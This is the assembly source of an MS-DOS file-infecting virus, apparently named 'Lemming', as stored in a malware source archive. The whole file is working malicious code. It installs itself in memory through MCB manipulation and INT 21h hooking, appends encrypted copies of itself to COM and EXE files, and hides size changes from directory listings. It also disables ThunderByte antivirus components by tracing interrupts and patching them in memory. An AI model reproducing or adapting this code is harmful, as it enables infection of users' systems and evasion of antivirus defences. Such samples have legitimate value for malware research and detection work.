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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.lemming.asm

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2021-01-12 23:47:04 +00:00
.286
.model tiny
.code
virus_size equ vir_end - start
virus_siz equ virus_size + virus_size
decrypt_size equ handle - next_function
data_size equ vir_end - step1
engine_size equ next_function - start
Int21_base equ 021h*4
timer_seg equ 01ch*4+2
virus_paragraphs equ virus_size * 2/16
code segment
assume cs:code,ds:code,es:code
progr equ 0100h
org progr
main:
start:
mov cx,decrypt_size
lea si,next_function
call ofset
ofset: pop bp
sub bp,109h ;Set postion of base pointer
decrypt:
xor byte ptr cs:[si][bp],00 ;Anti heuristic decryptor
key: ;will fool Thunderbyte.
jcxz next_function
dec cx
inc si
jmp decrypt
fooled_tbav:
next_function:
push es
push ds
push cs
pop ds
call getcpu ;Detect CPU
je _8086
mov ax,0fffeh ;Determine if installed
int 21h
cmp bx,0ffffh ;Returns ffff in bx if so...
test_processor:
jne install__
_8086: jmp end_install ;Not 80286 compatible
transfer:
call get_int21
mov di,0100h
push cs
pop ds
lea si,word ptr cs:start[bp]
mov cx,virus_size
move:
rep movsb ;Move virus and make resident
copied:
call set_int21 ;Set int 21 to virus
jmp end_install
install__ proc near
push ds es
call anti_av ;Detect the presence of TBDRIVER
pop es ds ;and patch
mov ax,5802h ;are umb's available?
int 21h
jc install_low ;no then install in low memory
mov ax,5803h ;Chain mcb's into low memory
mov bx,1
int 21h
jc install_low
push es ;get current mcb
pop dx
dec dx
mov di,3 ;add to current mcb to get
;pointer to next mcb
walk: mov es,dx
cmp byte ptr es:[di-3],05ah
je lastmcb
add dx,word ptr es:di
inc dx ;search for last mcb.
mov es,dx
cmp byte ptr es:[di-3],05ah
jne walk
lastmcb:
mov ax,5803h ;remove umb link
xor bx,bx
int 21h
cmp word ptr es:[di],virus_paragraphs
ja hi_install ;Enough memory for UMB install?
push cs
pop es
jmp install_low
hi_install:
inc dx
mov es,dx ;es points to virus new CS
install_low:
push es
xor di,di
push es ;original psp segment
pop dx
dec dx
mov es,dx
cmp byte ptr es:[di],5ah
jne end_install
mov ax,virus_siz
mov cl,4
shr ax,cl
inc ax
inc ax
sub word ptr es:[di+3],ax ;
mov ax,word ptr es:[di+3] ;copy last mcb size into ax
pop cx
add cx,ax ;new segment
sub cx,10h
mov word ptr cs:new_seg[bp],cx
mov es,cx
jmp transfer ;go and move virus to new
;memory position
install__ endp
end_install:
pop ds
pop es
lea di,word ptr cs:buffer1[bp]
mov ax,05a4dh
cmp word ptr cs:[di],ax
jne goto_com
mov ax,word ptr cs:[di+16h]
push es
pop bx
add bx,10h
add ax,bx ;code segment
mov cx,word ptr cs:[di+0eh] ;get original ss
mov dx,word ptr cs:[di+10h] ;get original sp
add cx,bx
cli
mov ss,cx ;restore original ss and sp
mov sp,dx
sti
push ax
mov bx,word ptr cs:[di+14h] ;get original ip
push bx
call clear_reg ;clear all registers
retf ;and hand back control
goto_com:
cld
lea si,buffer1[bp] ;restore com entry point
mov di,0100h
mov cx,18h
rep movsb
push 0100h
call clear_reg
ret ;hand back control
clear_reg:
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
ret
anti_av proc near
; DISABLE TBDRIVER AGAINST TUNNELING DETECT
mov ax,5200h
int 21h ;es:bx
add bx,22h ;pointer to first device 'NUL'
;or 'CON'
next_search:
cld
lds si,word ptr es:bx
cmp si,-1
je not_found
push ds cs
pop es
lea di,scan[bp]
push si
add si,10 ;device name offset
;from bx pointer
mov cx,5
rep cmpsb ;search for device name
pop bx es
jne next_search
found: ;If TBDRIVER is found then
push ds ;patch against tunneling
pop es
push cs
pop ds
mov di,bx
xor ax,ax
lea si,scan_string[bp]
next_char:
inc ax
mov cx,5
push si
rep cmpsb ;search for string
pop si
je bullseye
cmp ax,10116
je not_found
jmp next_char
bullseye:
mov es:[di-12],09090h ;disable tbdriver
not_found:
ret
scan db 'TBDRV'
scan_string db 0fah,09ch,0fch,053h,050h
anti_av endp
VirName db 0dh,0ah,'The Rise and Fall of ThunderByte-1994-Australia.',0dh,0ah
db ' You Will Never Trust Anti-Virus Software Again!! ',0dh,0ah
db '[LEMMING] ver .99<EFBFBD>'
Anti_tbscan proc near
push es ds si di ax bx cx dx
push bx
lea si,Tbscan
lea bx,tbscan_size
mov byte ptr cs:no_scasb_flag,0
call tbscan_test ;Is Tbscan being executed?
pop bx
jnc not_tbscan
push cs
pop ds
call hook_int1c ;
les di, dword ptr es:bx+2
push di
xor bx,bx
mov bl, byte ptr es:[di]
add di,bx ;di now points to end of C/T
lea si,tbscan_switch
cld
movsw
movsw
pop di
add byte ptr es:[di],3
not_tbscan:
pop dx cx bx ax di si ds es
ret
tbscan_size db 0,6,6,0
tbscan_switch db 20h,'c','o',0dh ;adding ' co' to command line
;forces tbscan into Compat
;mode
Anti_tbscan endp
get_int21 proc near
push es
push ds
xor bx,bx
mov ds,bx
mov bx,word ptr ds:[84h]
mov es,word ptr ds:[86h]
pop ds
mov word ptr cs:int_21_off[bp],bx ;save vector for later calls
mov word ptr cs:int_21_seg[bp], es
mov word ptr cs:int_21_off_o[bp],bx
mov word ptr cs:int_21_seg_o[bp],es
call int_trace
pop es
ret
get_int21 endp
set_int21 proc near
push es
xor ax,ax
mov ds,ax
lea ax,word ptr cs:int_21
mov bx,word ptr cs:new_seg[bp]
cli
mov ds:[134],bx
mov ds:[132],ax
sti
pop es
ret
set_int21 endp
identify proc near
;on entry, ds:dx points to asciiz file to be run.
;bx must point to file size table. EOT must be '0'
;si must point to table of strings to compare.
;direction_flag==0 for before '. e.g lemming.com' and 1 for after.
push ds ;pointers to asciiz
push dx
mov cx,00ffh
mov al,'.'
push ds
pop es
push dx
pop di
cmp byte ptr cs:no_scasb_flag,1
je no_scasb
cld
repne scasb
no_scasb:
xor ax,ax ;load index position (0).
xor cx,cx
push cs
pop ds
next_byte:
inc al
push ax
push di ;save position
push si
xlat
or al,al ;end of index?
jz no_match ;yes?
cmp byte ptr cs:direction_flag,1
je right
sub di,8 ;back up to begining of name
cmp byte ptr cs:no_scasb_flag,1
je right
add di,8
sub di,ax
dec di
right: mov cl,al ;bytes to count...
rep cmpsb
je match_found
pop si
add si,ax ;if not equal, next field
pop di
pop ax
jmp next_byte
match_found:
clc
jmp clear
no_match: stc
clear: pop ax
pop ax
pop ax
pop dx
pop ds
ret
direction_flag db 0
no_scasb_flag db 0
identify endp
do_not_infect proc near ;Table of files not to infect
start_:
AVSize db 4,4,6,3,5,5,0
AVName :db 'TBAV'
TBSCAN: db 'TBSCAN'
db 'NAV'
db 'VSAFE'
db 'FPROT'
do_not_infect endp
is_file_infectable proc near
extension_size db 4,3,3,3,3,0 ;Table of extensions to infect
extension: db 'COM'
db 'com'
db 'EXE'
db 'exe'
stop_:
is_file_infectable endp
stealth_a proc near ;Appears to be the same DIR
pushf ;stealth routines from NPOX
push cs
call skip_infect
test al,al
jnz no
push ax
push bx
push es
mov ah,51h
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al
jnz fcb_ok
add bx,7h
fcb_ok: mov ax,es:[bx+17h]
and ax,01eh
xor al,01eh
jnz not_
and byte ptr es:[bx+17h],0e0h
sub word ptr es:[bx+1dh],virus_size
sbb word ptr es:[bx+1fh],0
not_: pop es
pop bx
pop ax
no: iret
stealth_a endp
search_flag_b:
mov byte ptr cs:trace_flag,0 ;re-use to save memory
jmp dta_out
stealth_b proc near
pushf
push cs
call skip_infect
jc search_flag_b
mov byte ptr cs:trace_flag,1
push ax
push bx
push es
mov ah,2fh
int 21h
mov ax,es:[bx+16h]
mov cx,es:[bx+18h]
and ax,1eh
xor ax,1eh
jnz dta_out1
sub word ptr es:[bx+1ah],virus_size
sbb word ptr es:[bx+1ch],0
dta_out1: pop es
pop bx
pop ax
dta_out: retf 0002h
stealth_b endp
stealth: jmp stealth_a
critical_error_handler:
mov al,03h
iret
int_21 proc near
cmp ah,011h
je stealth
cmp ah,012h
je stealth
cmp ah,04eh
je stealth_b
cmp ah,04fh
je stealth_b
cmp ah,04bh
je file_infect_step
cmp ah,06ch
je disinfect_step
cmp ah,03dh
je disinfect_step
cmp ah,03eh
je file_infect
cmp ah,04ch
je program_terminate_step
cmp ax,0fffeh ;test if active in memory
jne direct
mov bx,0ffffh
iret
direct: jmp dword ptr cs:int_21_off
program_terminate_step:
call program_terminate
jmp direct
disinfect_step: jmp disinfect
file_infect_step:
call anti_tbscan
jmp file_infect
int_21 endp
get_filename_from_handle proc near
push bx
mov ax,1220h
int 2fh
mov ax,1216h
mov bl,es:[di]
int 2fh
pop bx
add di,11h
mov byte ptr es:[di-0fh],02
add di,17h
push di
pop dx
push es
pop ds
ret
get_filename_from_handle endp
infect_OK proc near
lea bx,extension_size
lea si,extension ;Test for EXE,COM,OVL
mov byte ptr cs:direction_flag,1
call identify
jc error ;if not exe then error
lea bx,avsize
lea si,avname ;Test for AV
tbscan_test:
mov byte ptr cs:direction_flag,0
call identify
jnc error ;If no AV then good!
no_error:
clc
ret
error: stc
ret
infect_ok endp
no_good:
jmp exe
file_infect proc
cmp bl,4
ja handle_ok
cmp ah,4bh ;determine if file open or
je handle_ok ;file execute
jmp skip_infect
handle_ok:
push ax
push bx
push es
push bx
push cx
push dx
push ds
push di
push si
call set_critical_error_handler
cmp ah,4bh
jne only_handle_supplied
call open_file ;open file if call = ah=4b
jc no_good
cmp bl,5
jb no_good
mov byte ptr cs:execute_flag,1
push bx
mov byte ptr cs:no_scasb_flag,0
call infect_ok
pop bx
jnc skip_flag_check
jmp dont_infect_here
only_handle_supplied:
mov byte ptr cs:execute_flag,0 ;if flag ==1 then close
call get_filename_from_handle
push bx
mov byte ptr cs:no_scasb_flag,1
call infect_ok
pop bx
jnc good
jmp dont_infect_here
skip_flag_check:
good: call get_date
push dx
push cx
mov word ptr cs:old_date,dx
mov word ptr cs:old_time,cx
call is_file_infected
jc do_it
jmp loc_15
do_it: call set_offset_start
push cs
pop ds
lea dx,buffer
mov cx,18h
call read_file
push cx
cld
push cs
pop es
lea si,buffer
lea di,buffer1
mov cx,18h
rep movsb ;Save header for stealth
pop cx ;disinfect on open
cmp word ptr cs:[buffer1+0ch],1 ;Dont infect if number of
jb exe ;paragraps required after load
xor dx,dx ;is less than 1
call set_offset_e
cmp dx,0
ja big_enough
cmp ax,0fff0h-virus_siz
ja exe
big_enough:
cmp dx,4
ja exe
cmp byte ptr ds:[buffer],4Dh ; 'M' ; is file exe?
je file_is_exe ; Jump if equal;
jmp file_is_com
exe:
jmp loc_15
file_is_exe: ;Recalculate new EXE Header
push bx
mov cl,4
mov bx,word ptr [buffer+8]
shl bx,cl
push dx ax
sub ax,bx
sbb dx,0
mov bx,10h
div bx
mov word ptr [buffer+14h],dx
mov word ptr [buffer+16h],ax
add ax,virus_size/16
mov word ptr [buffer+0eh],ax
pop ax dx
add ax,virus_size
adc dx,0
mov bx,512
div bx
pop bx
inc ax
mov word ptr [buffer+4],ax
mov word ptr [buffer+2],dx
mov cx,18h
lea dx,buffer
push dx
push cx
jmp short loc_14
File_Is_Com:
sub ax,3
mov word ptr cs:[com_header_offset],ax
mov cx,3 ;header size in bytes
lea dx,com_header
push dx
push cx
loc_14:
call write_virus ;write and encrypt virus
call set_offset_start
pop cx
pop dx
call write_bytes
pop cx
or cl,01eh
push cx
loc_15:
pop cx
pop dx
call write_date
dont_infect_here:
cmp byte ptr cs:execute_flag,1
jne dont_close
mov ah,3eh
call dos
dont_close:
call restore_critical_error_handler
pop si
pop di
pop ds
pop dx
pop cx
pop bx
pop es
pop bx
pop ax
skip_infect:
jmp dword ptr cs:int_21_off
execute_flag db 0
file_infect endp
disinfect proc near
pusha
push ds es
cmp ah,06ch ;adjust ds:si to ds:dx if
jne not_extended ;ah == extended file open(6c)
push si
pop dx
not_extended:
mov byte ptr cs:no_scasb_flag,0
call infect_ok
jc skip_disinfect
call set_critical_error_handler
call open_file
jc skip_disinfect ;Skip disinfection on error
push cs
pop ds
call get_date ;Get file date
call is_file_infected ;Is the seconds field 60?
jne dont_disinfect ;If not, then quit
xor dx,dx
call set_offset_e ;get infected file size
push dx ;save
push ax
sub ax,1ch ;sub buffer size from end
sbb dx,0
mov cx,dx ;set new pointer to buffer
mov dx,ax
call no_xor
lea dx,old_date
mov cx,1ch ;buffer = 18h + 4 for date = 1c
call read_file ;read into buffer
call set_offset_start ;Restore original header
mov cx,18h
lea dx,buffer1
call write_bytes ;write at start
pop dx
pop cx
sub dx,virus_size
sbb cx,0
call no_xor ;set offset from start
mov ah,40h
xor cx,cx
call dos ;truncate
mov cx,old_time
mov dx,old_date
call write_date ;Restore original date and time
cmp trace_flag,0
je dont_disinfect
call reset_dta ;Adjust seconds field in DTA
dont_disinfect:
mov ah,3eh ;Close file
call dos
call restore_critical_error_handler
skip_disinfect:
pop es ds
popa
jmp dword ptr cs:int_21_off
disinfect endp
reset_dta proc near
push ax bx es
mov ah,2fh ;Get current DTA
call dos ;DTA pointed to by es:bx
mov ax,word ptr cs:old_time ;Get old time and
mov word ptr es:[bx+16h],ax ;save in DTA
pop es bx ax
ret
reset_dta endp
get_date proc near
mov ax,5700h
call dos
ret
get_date endp
write_date proc near
mov ax,5701h
call dos
ret
write_date endp
is_file_infected proc near
and cl,01eh ;Unmask seconds
cmp cl,01eh
ret
is_file_infected endp
com_header proc
db 0e9h ;JMP
com_header_offset dw 0000
com_header endp
set_offset_start proc
xor cx,cx
xor dx,dx
no_xor: mov ax,4200h
call dos
ret
set_offset_e:
xor cx,cx
mov ax,4202h
call dos
ret
read_file:
mov ah,3fh
call dos
ret
write_bytes:
mov ah,40h
call dos
ret
write_virus:
xor ax,ax
out 70h,al
in ax,70h ;Get seconds from computer
cmp ah,0 ;If seconds = 0 then
jne dont_mask ;set to 12
mov ah,12
dont_mask:
cmp ah,21h ;???
jne dont_mask1
mov ah,15h
dont_mask1:
mov byte ptr cs:key-1,ah ;Save key in virus decryptor
lea si,start ;move to preallocated memory for
lea di,vir_end ;encryption
inc di
mov cx,virus_size
cld
rep movsb ;Copy uninfected verson to
;encryption area
mov cx,decrypt_size
lea si,vir_end ;load si with virus and address
inc si ;inc to virus image to encrypt
add si,engine_size ;add 16h bytes so as not to
encrypt: ;encrypt virus engine
xor [si],ah
inc si
loop encrypt ;Encrypt
mov ah,40h
mov cx,virus_size
lea dx,vir_end
inc dx
call dos
ret
set_offset_start endp
dos proc near
Pushf ;Save flags for DOS IRET
call dword ptr cs:int_21_off_o ;original dos entry
ret
dos endp
open_file proc near
push ax
mov ax,3d02h
call dos
push ax
pop bx ax ;Put handle into BX
ret
open_file endp
set_critical_error_handler proc near
push ax bx dx es ds
push cs
pop ds
mov ax,3524h
call dos
mov critical_error_seg,es
mov critical_error_off,bx
lea dx,critical_error_handler
mov ax,2524h
call dos
pop ds es dx bx ax
ret
set_critical_error_handler endp
critical_error_off dw ?
critical_error_seg dw ?
restore_critical_error_handler proc near
mov ax,2524h
lds dx,dword ptr cs:critical_error_off
call dos
ret
restore_critical_error_handler endp
int_trace proc near
mov ax,3501h ;get trace interrupt
int 21h
mov di,es ;save seg and offset in di, si
mov si,bx
mov ax,2501h
lea dx,word ptr cs:int_01[bp] ;point trace to our segment
int 21h
pushf
push cs
lea ax,word ptr cs:exit_trace[bp] ;set up for after trace
push ax
cli
pushf
pop ax
or ax,100h ;switch trace flag on
push ax ;save flags
mov ax,word ptr cs:int_21_seg[bp]
push ax ;save seg
mov ax,word ptr cs:int_21_off[bp]
push ax ;save offset
mov ax,351ch ;get INT 1c address
mov byte ptr cs:trace_flag[bp],1
mov bx,bp
iret
exit_trace:
mov byte ptr cs:trace_flag[bp],0 ;turn of our trace flag
sti ;restore interrupts
mov ax,2501h ;restore original INT 01
mov dx,si ;Vectors
mov ds,di
int 21h
ret ;Done
int_01:
push bp
mov bx,bp
mov bp,sp
cmp byte ptr cs:trace_flag[bx],1
je tunnel_dos
tunnel:
and word ptr [bp+6],0feffh
mov byte ptr cs:trace_flag[bx],0
pop bp
iret
tunnel_dos:
cmp word ptr [bp+4],300h ;Are we in the DOS SEG?
jb save_vector
pop bp
iret
save_vector:
push cx
mov cx,[bp+2]
mov cs:int_21_off_o[bx],cx ;Delta offsets are used
mov cx,[bp+4]
mov cs:int_21_seg_o[bx],cx
pop cx
jmp tunnel
int_trace endp
program_terminate proc near
cmp byte ptr cs:tbexecute_flag,0
je tbscan_exit
mov byte ptr cs:tbexecute_flag,0 ;Turn off tbscan execute
mov byte ptr cs:done_flag,0 ;flag
call unhook_1c ;Restore int 1C
tbscan_exit:
ret
program_terminate endp
hook_int1c proc near
pusha
push es ds
mov ax,0351ch
call dos
mov int_1c_off,bx
mov bx,es
mov int_1c_seg,bx
lea dx,int1c
mov ah,025h
call dos
mov tbexecute_flag,1
pop ds es
popa
ret
hook_int1c endp
int1c proc near
cmp byte ptr cs:done_flag,1
je exit_1c
cmp byte ptr cs:tbexecute_flag,1
jne exit_1c
call convert_tbscan ;Patch TBSCAN with 'OWN'
exit_1c:
jmp dword ptr cs:int_1c_off
int1c endp
unhook_1c proc near
pusha
push es ds cs
pop ax ;ax= code seg
xor bx,bx
mov es,bx ;es= 0000h
push es
mov bx,word ptr es:timer_seg
mov es,bx
cmp bx,ax
jne dont_unhook
mov ax,word ptr cs:int_1c_seg
mov bx,word ptr cs:int_1c_off
pop es
cli
mov word ptr es:timer_seg,ax
mov word ptr es:timer_seg-2,bx
sti
dont_unhook:
pop ds es
popa
ret
unhook_1c endp
convert_tbscan proc near
pusha
push es ds cs
pop ax
xor bx,bx
mov es,bx
mov bx,word ptr es:timer_seg ;Trace through INT 1c which is
mov di,word ptr es:timer_seg-2 ;hooked by TBSCAN
mov es,bx
cmp bx,ax
je exit_convert
xor ax,ax
lea si,replace
push cs
pop ds
next_char2:
inc ax
mov cx,8
push si
rep cmpsb ;search for string 'DOS','OWN'
pop si ;within TBSCAN while it is in
je found_dos ;memory doing it's thing.
cmp ax,0fffeh
je exit_convert
jmp next_char2
found_DOS:
push es
pop ds
sub di,8
mov si,di
add si,4
mov cx,3
rep movsb
mov byte ptr cs:done_flag,1
exit_convert:
pop ds es
popa
ret
; Search Data
replace db 'DOS',0,'OWN',0
done_flag db 0
convert_tbscan endp
Getcpu proc near ;Test CPU Type
Pushf
Pop AX
Push AX
And AX,0FFFh
Push AX
Popf
Pushf
Pop AX
pop BX
And AX,0F000h
Cmp AX,0F000h
ret
getcpu endp
HANDLE:
step1:
data proc near
db '=!Packed file is corrupt<70>'
buffer db 17h dup(?) ;Modified EXE and Com header
db 90h
tbexecute_flag db 0
trace_flag db ? ;Used for tunneling
int_01_off dw ?
int_01_seg dw ?
int_1c_off dw ?
int_1c_seg dw ?
int_21_off_o dw ? ;Original INT 21
int_21_seg_o dw ?
int_21_off dw ? ;Chained INT 21
int_21_seg dw ?
new_seg dw ?
old_date dw ?
old_time dw ?
buffer1 db 90h ;Original file header for
mov ax,4c00h ;Com and Exe files
int 21h
db 11h dup(?)
db 90h
data endp
vir_end:
code ends
end main
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